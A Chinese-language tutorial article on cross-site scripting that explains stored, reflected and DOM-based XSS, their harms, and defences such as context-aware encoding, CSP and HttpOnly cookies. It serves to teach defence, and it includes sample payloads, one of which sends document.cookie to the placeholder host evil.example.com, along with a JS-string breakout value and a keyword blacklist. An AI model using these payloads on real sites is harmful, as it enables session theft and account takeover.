ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

XSS跨站脚本攻击全解析:原理、危害与防御实战

XSS跨站脚本攻击全解析:原理、危害与防御实战

1. 从一个弹窗开始说起

如果你做过几年Web开发或安全测试,大概率见过这种场景:某个输入框里填入一段带<script>标签的内容,点击提交后,页面直接弹出一个alert框。很多人第一次看到这个弹窗不以为然,觉得不过是“页面能执行我写的脚本”而已。但如果你在真实业务系统里看到这个弹窗,第一反应应该是:系统已经被撕开了一个口子。

XSS(Cross-Site Scripting,跨站脚本攻击)是Web安全领域出现频率最高、影响面最广的漏洞类型之一。它不是某个框架、某个语言的专属问题,而是“把用户输入当代码执行”这一普遍设计缺陷的集中体现。无论是传统的前后端不分离页面、还是现在流行的前后端分离架构,只要HTML拼接、URL参数处理、前端渲染环节存在疏漏,XSS就能找到落脚点。

这篇文章从原理、分类、危害、防御四个维度展开,结合我在实际项目里踩过的坑和修补过的漏洞,尽量把这条链路讲透。无论你是刚接触安全的开发者,还是已经写过不少防御代码的工程师,这篇文章应该都能给你一些可落地的参考。

2. 原理再拆解:浏览器为什么会执行“不怀好意”的代码

2.1 根本原因是把数据当成了代码

要理解XSS,先要理解浏览器的一个核心机制:HTML页面是由浏览器解析执行的,浏览器会把<script>标签里的内容当成JavaScript代码来执行。这本身没问题,问题是——当这段代码来自用户输入、且未经处理就被插入到页面HTML中时,页面就不再是“开发者写的页面”,而变成了“开发者写的页面+用户塞进来的代码”。

我常用一个类比来解释这个概念:你把一段文本交给印刷厂排版,结果文本里藏着排版指令,印刷厂不加辨别直接执行了。你以为自己印了一行字,实际印出来的是“把保险柜打开”。浏览器就是那个印刷厂,HTML和JavaScript就是排版指令。

举个最直观的例子。假设你的网站有一个留言板功能,某用户提交了如下内容:

<script>document.location='http://evil.example.com/steal?cookie='+document.cookie</script>

如果服务端直接把这条留言拼接进页面HTML并返回给其他用户,那么所有看到这条留言的用户,浏览器都会执行这段脚本,把当前网站的Cookie发送到攻击者指定的地址。

这里有一个关键点:XSS利用的是“用户A的输入被用户B的浏览器执行”的信任关系。用户B访问的是你开发的网站,浏览器信任你的网站,所以也会信任“从你网站返回的代码”。攻击者正是利用这种信任,把自己的代码伪装成网站自身的代码。

2.2 同源策略为何拦不住XSS

很多初学者会问:浏览器不是有同源策略吗?为什么脚本可以跨域发送请求?

同源策略约束的是“页面里的脚本能访问哪些资源”,它限制的是A网站的脚本不能读取B网站的数据。但XSS的问题恰恰在于:恶意脚本运行在“受害网站的页面”里,它和受害网站是同源的。浏览器分不清这段脚本是开发者写的还是攻击者注入的,它只知道“这个页面里的代码,可以访问这个页面的数据”。

所以同源策略是防线,但它防的是“外部脚本入侵”,防不了“内部脚本叛变”。XSS相当于攻击者绕过城门,直接从内部策反了守卫。

2.3 一个看得见的完整攻击链路

为了让你对全过程有一个清晰的认知,我画一条时间线来描述一次最小化的攻击:

  1. 攻击者在评论区提交恶意Payload。
  2. 服务端没有过滤、没有编码,原样存储。
  3. 受害用户访问该页面,浏览器请求评论数据。
  4. 服务端返回包含恶意代码的完整HTML。
  5. 浏览器解析HTML,执行恶意脚本。
  6. 恶意脚本把受害用户的Cookie、Token等敏感信息发送到攻击者服务器。
  7. 攻击者利用窃取的身份信息,以受害用户身份执行操作。

这条链路里,攻击者的代码在受害者的浏览器里获得了完整的页面权限,包括读写页面内容、访问Cookie、发请求、控制页面跳转。这就是XSS被称为“持久化植入”的原因——它把攻击代码“种”进了别人的页面。

3. XSS家族的三大分类,以及它们各自的脾气

3.1 存储型XSS:危险系数最高

存储型XSS(又称持久型XSS)是最严重的一类。恶意代码被持久化存储在服务端(数据库、文件、缓存等),每次页面加载都会被执行,攻击者不需要再“诱导用户点击链接”,只要用户访问了包含恶意数据的页面,就会中招。

典型的存储型XSS场景包括:评论区、用户昵称、个人签名、商品评价、日志系统展示、一切会被保存并在管理端或用户端展示的内容。

我记得在某后台管理系统里排查过一次案例:管理员可以在“公告管理”里编辑公告内容,公告编辑页面对HTML做了简单的标签白名单,但公告列表页却直接使用innerHTML渲染公告摘要。结果攻击者在公告正文里提交了一段脚本,虽然编辑页面被过滤了,但列表页没有过滤,管理员每次打开列表页都会触发脚本。这就是“写入端过滤、展示端裸奔”的典型失守。

3.2 反射型XSS:需要骗你点一下

反射型XSS(又称非持久型XSS)的特点是:恶意代码不在服务端存储,而是“反射”在响应里。攻击者构造一个恶意URL,诱导受害者点击,URL参数里携带Payload,服务端直接把这个参数的取值拼接到HTML响应中,浏览器执行Payload。

这类XSS需要受害者主动点击攻击者提供的链接,因此往往结合钓鱼场景:伪装成“系统通知”、“密码过期修改”等邮件或消息,诱导用户点击。

反射型XSS最常见的触发点包括:搜索页的关键词回显、错误信息页面的参数回显、登录失败后的用户名回显、页面跳转时的参数拼接。

举个例子:

https://example.com/search?keyword=<script>alert(document.cookie)</script>

如果服务端把keyword的值原样回显到页面HTML中,那么这个链接一旦被点击,页面就会执行alert脚本。

3.3 DOM型XSS:纯前端战场

DOM型XSS和前面两类有一个本质区别:它的Payload不需要经过服务端,直接在浏览器端的DOM操作过程中被触发。

攻击者构造的URL参数、location.hash、window.name、postMessage消息、本地存储中的数据,被前端JavaScript读取,经过某个不安全的DOM操作(innerHTML、document.write、eval、outerHTML、insertAdjacentHTML等)注入到页面中,从而执行恶意代码。

DOM型XSS的特点是:服务端返回的HTML本身是干净的,Payload只在浏览器端发生“数据到代码”的转换,因此很多服务端WAF(Web Application Firewall,Web应用防火墙)无法检测到它。这也是近年来前端框架大量使用后,DOM型XSS占比越来越高的原因之一。

3.4 三类XSS横向对比

维度存储型XSS反射型XSSDOM型XSS
Payload存储位置服务端数据库/文件不存储,在URL等请求参数里不存储,在浏览器端数据源里
触发方式页面加载即触发,无需用户额外操作需要用户点击恶意链接页面加载后前端逻辑触发
攻击者难度较低,只需提交一次Payload较高,需要诱导用户点击较高,需要构造特定场景
危害范围所有访问该页面的用户仅点击链接的用户满足特定前端条件的用户
检测难度相对容易,服务端可见中等,需结合流量分析较难,纯前端行为

防御思路上,三种类型都遵循同一个原则:不信任任何输入,输出前做上下文相关编码。但检测方式差别很大,存储型重点查服务端入参出参,反射型重点查URL参数回显点,DOM型重点查前端代码里的危险DOM操作。

4. 危害远不止弹个窗那么简单

4.1 从Cookie窃取到账号接管

XSS最经典的利用方式就是窃取Cookie。Cookie里通常包含会话标识,攻击者拿到受害者的Cookie,就等于拿到了受害者的“登录状态”,可以直接冒充受害者发起请求。

具体做法一般是这样的:攻击者构造Payload,脚本读取document.cookie,通过一个HTTP请求发送到攻击者控制的服务器。受害者毫不知情,攻击者已经完成了会话劫持。

如果一个系统里有普通用户和管理员用户,那么攻击者会优先盯上管理员。管理员一旦浏览了含有存储型XSS的页面,攻击者就能拿到管理员的会话Cookie,进而登录后台。这和高管邮箱被“钓鱼”之后能转走公司全部资金是一个逻辑——拿到一把高权限钥匙,后续做什么都方便。

4.2 页面内容篡改与钓鱼伪装

XSS的另一个危害是篡改页面内容。恶意脚本可以直接修改DOM,把正常的页面内容替换为攻击者伪造的登录表单、转账确认框、验证码提示等。用户看到的是“自己信任的网站”弹出了“合理”的请求,于是顺利成章地输入了自己的账号密码、支付密码、银行卡号。

这种方式比单独发钓鱼网站链接要隐蔽得多——因为用户访问的URL确实是你网站的URL,SSL证书也正常,只是页面内容被“注入”了。即使用户检查地址栏,也无法发现异常。

4.3 键盘记录与敏感信息窃取

恶意脚本可以监听用户的键盘事件、鼠标事件,记录用户在页面上的所有输入。包括但不限于:登录密码、搜索关键词、聊天内容、支付信息。

还有一种常用手段是“表单劫持”:脚本在页面里插入一个隐藏的iframe或表单,诱导用户输入,或者监听现有表单的submit事件,在提交时额外发送一份数据给攻击者。

4.4 蠕虫传播:XSS的另一副面孔

存储型XSS还有一个令人生畏的进阶形态——XSS蠕虫。恶意脚本除了窃取数据之外,还能利用受害者的身份,在社交平台、论坛、邮件系统里,以受害者的名义继续发布包含恶意代码的内容,实现“自我复制、自我传播”。

历史上出现过不只一次XSS蠕虫事件:某个社交平台被注入脚本后,所有浏览特定页面的用户都会自动转发包含恶意脚本的消息,消息又被更多用户看到,形成指数级传播。这类事件的破坏力已经超出了“漏洞”的范畴,更像是计算机病毒。

4.5 对业务和信任的隐形损耗

最后说一个容易被低估的危害:业务信任损耗。一个电商平台如果频繁被爆出XSS漏洞,用户会怎么想?——“这网站连我的账号密码都保护不了,我还敢在它上面付钱吗?”安全漏洞不只是技术债,还是品牌资产损伤。对内部系统来说,如果管理后台存在XSS漏洞被外部攻击者利用,泄露的内部业务数据甚至会直接影响公司决策层的判断、招投标价格策略、客户信息等核心机密。

5. 防御方案:从“不要信”到“别乱渲”

5.1 核心原则:一切输入不可信,一切输出要看上下文

XSS防御的本质只有一句话:在所有将动态数据插入HTML、属性、JavaScript、CSS、URL的地方,使用与上下文匹配的编码方式。

这句话拆开来理解:

  • 动态数据插入在HTML标签的文本节点里,要对<、>、&等字符做HTML实体编码。
  • 动态数据插入在HTML属性里(如value="..."),要对引号、尖括号、&等做属性上下文编码。
  • 动态数据插入在JavaScript字符串里,要对引号、反斜杠、换行符做JavaScript编码。
  • 动态数据插入在CSS里,要对特殊符号做CSS编码。
  • 动态数据插入在URL里,要对URL特殊字符做URL编码。

每种上下文有一套独立的编码规则,不能混淆。很多防御方案失效,就是因为“只用了一种编码方式试图应对所有场景”。

5.2 输出编码的具体实践

以Java后端为例,我列一下常见上下文的安全编码方式:

场景做法示例
HTML标签内容HTML实体编码<→&lt;,>→&gt;,&→&amp;,"→&quot;
HTML属性值属性编码,额外编码引号单引号、双引号都需要编码,防止逃逸出属性边界
JavaScript字符串JavaScript编码反斜杠、引号、换行、</script>闭合标签
URL参数URL编码%xx编码,避免改变URL结构
CSS上下文CSS编码十六进制转义

这里要强调一个特别容易踩的坑:在JavaScript字符串里,仅做HTML实体编码是不够的。比如:

var name = "<?php echo $username; ?>";

假设$username的值是";alert(1);//,如果只做HTML实体编码,"被编码成&quot;,浏览器解析HTML时会先把实体还原成原始字符,然后再执行JavaScript。这时候"照样逃逸字符串边界,还是会触发XSS。所以JavaScript上下文的编码必须单独处理,不能依赖HTML实体编码。

在我实际做审计的时候,见过不少“过滤写了不少,编码也做了,但漏洞还在”的案例,归根结底就是上下文没配对。

5.3 输入校验:白名单优先,黑名单兜底

输入校验是第二道防线。核心思路是:能在入站时拦住的数据,就不要拖到出站时处理。

白名单校验:明确“允许什么格式”,其余一律拒绝。例如用户ID只允许数字和字母、邮箱只允许邮箱格式、类名前缀只允许特定字符集、URL只允许http或https协议开头。

黑名单过滤:拦截已知的危险关键字,如<script>、javascript:、onerror=、expression(、<svg、<iframe等。黑名单的问题是永远不可能穷举所有绕过方式,而且不同浏览器对HTML解析有细微差异,导致同一个Payload在不同浏览器里表现不同。所以黑名单只能作为兜底,不能作为主防线。

还需要提醒一点:不要试图在前端做输入校验然后认为“前端拦住了,后端不需要再拦”。前端校验只是为了提升用户体验,真正的安全防线必须落在服务端。攻击者可以完全绕过前端,直接构造HTTP请求打到服务端。

5.4 CSP:最后一道主动防御

CSP(Content Security Policy,内容安全策略)是目前浏览器层面上最有效的XSS防御手段之一。它的核心思想是:告诉浏览器“页面里哪些来源的脚本是可以执行的”,不在白名单里的脚本一律不允许执行。

一个典型的CSP响应头配置:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'self'

意思是:默认只允许同源内容;脚本只能来自同源和https://cdn.example.com;禁止加载object标签(Flash等已淘汰插件);<base>标签不能改变页面基准地址。

CSP能拦截绝大多数内联脚本注入,因为即便攻击者把<script>标签注入到页面里,浏览器也会因为script-src不允许unsafe-inline而拒绝执行。

但CSP有两个常见坑:

  • 如果业务页面大量使用了内联事件处理属性(onclick="...")或javascript:伪协议,开启严格的CSP会导致业务功能失效。解决方案是逐步迁移到事件监听器绑定,或者先使用script-src 'unsafe-inline'过渡,但必须清楚这会把CSP的防护能力降一大截。
  • 线上环境建议先用Content-Security-Policy-Report-Only模式观察一段时间,把被误伤的合法脚本都列入report,确认无误后再切换为强制执行模式。

5.5 HttpOnly与Cookie安全属性

HttpOnly是Cookie的一个属性,设置后浏览器禁止JavaScript访问document.cookie。这样即使XSS成功执行,恶意脚本也无法直接读取Cookie值,会话劫持的难度会大幅上升。

还有一个容易被忽略的属性是SameSite。它用于限制跨站请求是否携带Cookie,SameSite=Lax可以阻止大部分跨站请求携带Cookie,对CSRF和部分XSS后续利用都有抑制作用。

我在实际项目中见过一个典型配置方式:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax

Secure属性确保Cookie只在HTTPS连接中传输,避免明文网络中夹带泄露;SameSite=Lax平衡安全与兼容性;HttpOnly直接堵死JavaScript读取路径。

5.6 可信HTML过滤:只放行“安全”的富文本

业务需求里经常出现“允许用户输入富文本”(加粗、变色、插入图片、链接等),不可能粗暴地全部转义,因为那样富文本功能就废了。这类场景需要做可信HTML过滤。

常见方案是使用经过安全加固的富文本过滤库(服务端或前端均可)。这类库严格维护一个白名单标签和属性集合,并过滤掉事件属性、javascript:协议、CSS表达式等危险项。

用库不等于万事大吉,需要注意几个细节:

  • 过滤结果不能只做一次,入库时要过滤,出库展示时也要过滤。曾经有过的教训是:只做了展示端过滤,攻击者发送的原始Payload直接存在数据库里,虽然展示被过滤了,但如果其他系统基于原始数据做处理(比如导出、二次拼接),漏洞又会复活。
  • 富文本过滤库需要定期升级,因为针对过滤器的绕过技术在不断进化。
  • 对于“用户头像URL”、“个人主页地址”这类输入,更稳妥的做法是只允许http和https协议,并尽可能校验域名前缀。

5.7 安全开发流程里的规矩

防御不能只靠某一个技术点,必须建立在整个开发生命周期里。我在团队里推过一套规矩,效果还算不错:

  • 新功能设计阶段做一次“哪里会出现动态数据拼HTML”的梳理,形成风险点清单。
  • 代码评审时把“输出编码是否配对上下文”作为必查项。
  • 测试阶段把XSS Payload集放到自动化测试里,每次回归都能跑一遍。
  • 上线前的安全扫描至少覆盖三类输入点:搜索关键字、URL参数、富文本内容。
  • 建立漏洞应急响应机制,确认XSS后24小时内给出缓解方案或临时止血措施。

6. 实战排查记录与调优思路

6.1 一次典型的存储型XSS排查过程

有一次同事反馈某个管理后台“页面异常卡顿,疑似被注入了死循环脚本”。我接手排查,流程大致是这样的:

第一步,复现。打开页面发现控制台里脚本不断报错,页面元素里出现了一长串自动执行的事件处理代码。

第二步,定位来源。查看请求响应,发现有一段非常规内容存在于某条用户备注数据中,而且该数据的生成时间恰好对应一次异常登录操作。

第三步,追溯写入路径。向上排查该数据的录入接口,发现接口接收了JSON格式数据,其中备注字段直接取前端传入值,后端未做任何过滤和编码,保存数据库后,又在列表页原样拼接到HTML里。

第四步,修复。在写入端增加输入拦截,拒绝包含<script>和事件属性的请求;在展示端对该字段做HTML实体编码。

第五步,清理存量。写脚本扫描全部数据库记录,将所有含可疑Payload的字段统一编码后再入库。

这次的教训是:数据流上“写入”和“展示”被当成两条独立链路处理,导致写入端觉得“展示端会编码”,展示端觉得“写入端已过滤”,相互都依赖对方,最后谁都没做。

6.2 几个容易被人忽略的XSS隐藏入口

  • 日志系统展示页面。线上程序的错误日志、访问日志经常包含Trace参数、请求地址、User-Agent等信息,这些数据如果被原样渲染到日志查看页面,就是一个天然的存储型XSS投递点。攻击者只需要在请求里放一个恶意UA,管理员查日志的时候就中招。
  • 导出文件。业务系统导出的Excel、CSV、PDF文件,如果单元格内容直接拼接用户数据,攻击者可以在数据单元格里写入以=、+、-开头的公式Payload,利用Excel的公式执行能力触发远程加载或命令执行。导出功能的安全校验经常被忽略。
  • iframe的name属性。某些前端逻辑会读取window.name并注入DOM,window.name在同标签页导航后仍然保留,攻击者可以通过构造外部页面跳转来设置受害页面里的window.name。
  • SVG上传。允许用户上传SVG文件时,如果不过滤脚本标签,SVG内可以包含JavaScript,访问该文件时直接执行。
  • JSONP接口。JSONP返回的内容是纯JavaScript,如果接口可被注入可控参数,等于直接执行任意脚本。

6.3 从“事后修补”到“事前预防”的转变

我个人的体会是:XSS防御最难的不是技术方案,而是意识和流程。很多项目组是“等到漏洞被爆出来再补”,补的时候只修了被爆的那个点,同类问题在下一次测试中又被发现。

真正可持续的做法是:把“输出编码配对”变成默认习惯,把“输入不可信”变成条件反射。前端同学写innerHTML的时候,多问一句“这段数据来自哪里”;后端同学做response.getWriter().write()拼接的时候,多问一句“这里的动态数据会落到哪个上下文”。

另外,建议团队里维护一个“XSS自检清单”,内容包括:

  • 页面上所有动态插入数据的位置是否都做了对应上下文的编码?
  • 富文本编辑内容是否经过可信过滤?
  • Cookie是否设置了HttpOnly和SameSite?
  • CSP是否已经开启?内联脚本是否已经迁移?
  • 日志展示、导出报表等间接渲染路径是否覆盖?
  • 前端出现innerHTML、document.write、eval时,是否有code review机制?

把这份清单放进发布流程里,比事后打补丁要划算得多。

6.4 一些实战调优手法

如果你接手的是一个已经线上运行很久的系统,短期无法做全面重构,以下几个低成本动作可以明显抬高攻击门槛:

  • 先全站统一加HttpOnly和SameSite=Lax,这个改动影响面小、收益明显。
  • 对全部“搜索关键词回显”类功能做一次HTML实体编码排查,这类反射型XSS排查成本低。
  • 把CSP的script-src收紧为'self'并禁止unsafe-inline,启动report-only模式收集违规报告。
  • 对管理后台类页面,额外加一层IP白名单和二次认证,压缩攻击者的利用窗口。
  • 用自动化XSS扫描工具定期扫域名和API,人工审计无法覆盖所有路径,工具至少能兜住一部分常规Payload。

7. 最后还是想再强调两句

XSS这个问题从Web诞生起就存在,如今二十多年过去了,它依然活跃,这说明它很难被某一种技术彻底消灭。它的根子在于Web技术本身的设计:HTML是数据和标记混在一块的文本语言,只要数据能进入标记文本,“代码执行”的边界就永远需要被警惕。

我在实际项目里写过不少安全方案,也修过不少漏洞,最深的一个体会是:安全不是某一个环节的“锦上添花”,而是所有环节都必须遵守的底线。你不信用户输入,不盲信框架输出,不跳过编码环节,每次把数据插到HTML里都多问一句“这个上下文我处理对了吗”——做到这些,XSS就基本没机会。

如果这篇文章能让你在写下一行DOM操作、拼接下一个响应、配置下一份Cookie的时候,多停顿一秒钟,那它就没有白写。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进